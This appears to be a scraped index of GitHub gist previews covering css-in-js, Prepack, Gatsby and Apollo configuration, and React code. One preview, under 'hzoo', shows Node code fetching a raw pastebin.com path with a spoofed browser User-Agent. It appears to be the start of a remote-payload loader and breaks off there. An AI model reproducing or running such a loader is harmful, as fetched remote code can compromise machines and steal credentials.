threepointone

A series of posts on css-in-js

0. styles as objects

First, an exercise. Can we represent all of css with plain data? Let's try.

let redText = { color: 'red' };

gaearon

Note:

When this guide is more complete, the plan is to move it into Prepack documentation.
For now I put it out as a gist to gather initial feedback.

A Gentle Introduction to Prepack (Part 1)

If you're building JavaScript apps, you might already be familiar with some tools that compile JavaScript code to equivalent JavaScript code:

• Babel lets you use newer JavaScript language features, and outputs equivalent code that targets older JavaScript engines.

swalkinshaw

Moved to Shopify/graphql-design-tutorial

hzoo

try {
  var https = require("https");
  https
    .get(
      {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
        headers: {
          "User-Agent":
            "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",

CompuIves

import * as React from "react";
import * as Vue from "vue/dist/vue";
import VueElement from "./VueElement";
import { PropertyControls, ControlType } from "framer";

// Define type of property
interface Props {
  text: string;
}

threepointone

https://twitter.com/snookca/status/1073299331262889984?s=21

‪“‬In what way is JS any more maintainable than CSS? How does writing CSS in JS make it any more maintainable?”

‪Happy to chat about this. There’s an obvious disclaimer that there’s a cost to css-in-js solutions, but that cost is paid specifically for the benefits it brings; as such it’s useful for some usecases, and not meant as a replacement for all workflows. ‬

‪(These conversations always get heated on twitter, so please believe that I’m here to converse, not to convince. In return, I promise to listen to you too and change my opinions; I’ve had mad respect for you for years and would consider your feedback a gift. Also, some of the stuff I’m writing might seem obvious to you; I’m not trying to tell you if all people of some of the details, but it might be useful to someone else who bumps into this who doesn’t have context)‬

So the big deal about css-in-js (cij) is selectors.

m-allanson

exports.onCreateWebpackConfig = ({ actions, getConfig }) => {
  // inline files that are smaller than this (in bytes), Gatsby's default vaule is 10000
  const LIMIT = 2000;

  // find patterns from gatsby/src/utils/webpack-utils.js
  // https://github.com/gatsbyjs/gatsby/blob/03ddfdf9b6f5a132fe82c202c95829f6f42cd40b/packages/gatsby/src/utils/webpack-utils.js#L288-L435
  // for fonts instead of images, use: /\.(eot|otf|ttf|woff(2)?)(\?.*)?$/
  const PATTERN = /\.(ico|svg|jpg|jpeg|png|gif|webp)(\?.*)?$/;

  const config = getConfig();

gdhardy1

// Composing Apollo links
// https://www.apollographql.com/docs/link/composition/

// for apollo-retry-link info:
// - https://www.apollographql.com/docs/link/links/retry/
// - https://www.youtube.com/watch?v=bv74TcKb1jw

// for gatsby-source-grapql config info:
// see https://www.gatsbyjs.com/plugins/gatsby-source-graphql/

jadenlemmon

import { sample } from 'lodash';
import React from 'react';
import cookie from 'cookie';
import Layout from '../components/layout';
import HomeV1 from '../components/scenes/home/v1';
import HomeV2 from '../components/scenes/home/v2';

const EXPERIMENT_OPTIONS = {
  v1: HomeV1,
  v2: HomeV2,

tyhopp

const React = require(`react`);
const { renderToPipeableStream } = require(`react-dom/server`);
const { Writable } = require(`stream`);

function MyComponent() {
  throw new Error(`My error`);
}

class MyWritableStream extends Writable {
  constructor() {